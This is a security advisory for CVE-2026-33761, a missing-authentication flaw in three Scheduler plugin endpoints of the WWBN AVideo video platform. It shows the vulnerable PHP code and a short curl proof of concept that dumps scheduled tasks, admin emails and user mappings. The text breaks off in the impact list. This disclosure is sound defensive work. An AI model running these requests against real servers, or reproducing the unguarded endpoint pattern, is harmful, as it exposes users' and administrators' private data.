CVE-2026-33761

WWBN AVideo is an open source video platform. In versions up to and including 26.0, three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin(). An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests. Commit 83390ab1fa8dca2de3f8fa76116a126428405431 contains a patch.

Summary

Three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin(). An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests.

Details

The vulnerable files are:

1. plugin/Scheduler/View/Scheduler_commands/list.json.php:1-7

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');

$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}

2. plugin/Scheduler/View/Emails_messages/list.json.php:1-10

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Emails_messages.php';
header('Content-Type: application/json');

$rows = Emails_messages::getAll();
$total = Emails_messages::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}

3. plugin/Scheduler/View/Email_to_user/list.json.php:1-10

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Email_to_user.php';
header('Content-Type: application/json');

$rows = Email_to_user::getAll();
$total = Email_to_user::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}

None of these files check authentication before calling getAll(), which executes SELECT * FROM {table} and returns the entire table contents.

In contrast, every sibling endpoint requires admin access. For example, plugin/Scheduler/View/Scheduler_commands/add.json.php:12-15:

if(!User::isAdmin()){
    $obj->msg = "You cant do this";
    die(json_encode($obj));
}

The Scheduler_commands table (defined in plugin/Scheduler/Objects/Scheduler_commands.php) stores fields including callbackURL (internal server URLs with query parameters), parameters (JSON blobs containing user IDs and email configuration), status, timezone, and cron scheduling fields. The Emails_messages table stores subject and message (full HTML email bodies composed by admins). The Email_to_user table maps users_id to emails_messages_id, revealing which users are targeted by which email campaigns.

PoC

# 1. Retrieve all scheduled tasks — exposes internal callbackURLs and parameters
curl -s 'https://target/plugin/Scheduler/View/Scheduler_commands/list.json.php' | jq '.data[] | {id, callbackURL, parameters, status, type}'

# 2. Retrieve all admin-composed email messages — exposes subject and HTML body
curl -s 'https://target/plugin/Scheduler/View/Emails_messages/list.json.php' | jq '.data[] | {id, subject, message}'

# 3. Retrieve user-to-email targeting mappings — reveals which users receive which emails
curl -s 'https://target/plugin/Scheduler/View/Email_to_user/list.json.php' | jq '.data[] | {users_id, emails_messages_id, sent_at}'

All three return full database contents with no authentication required. No session cookie or token is needed.

Impact

An unauthenticated attacker can:

• Enumerate internal infrastructure: callbackURL fields expose internal server URLs and query parameters used by the scheduler, potentially revealing internal API endpoints and their parameter structures
• Read admin email campaigns: Full email subjects and HTML message bodies composed by administrators are exposed
• Map user targeting: The Email_to_user table reveals which users_id values are targeted by which email campaigns, enabling user enumeration and profiling
• Gather reconnaissance: Scheduling configuration (cron fields, execution status, timezone) reveals operational patterns and timing of…
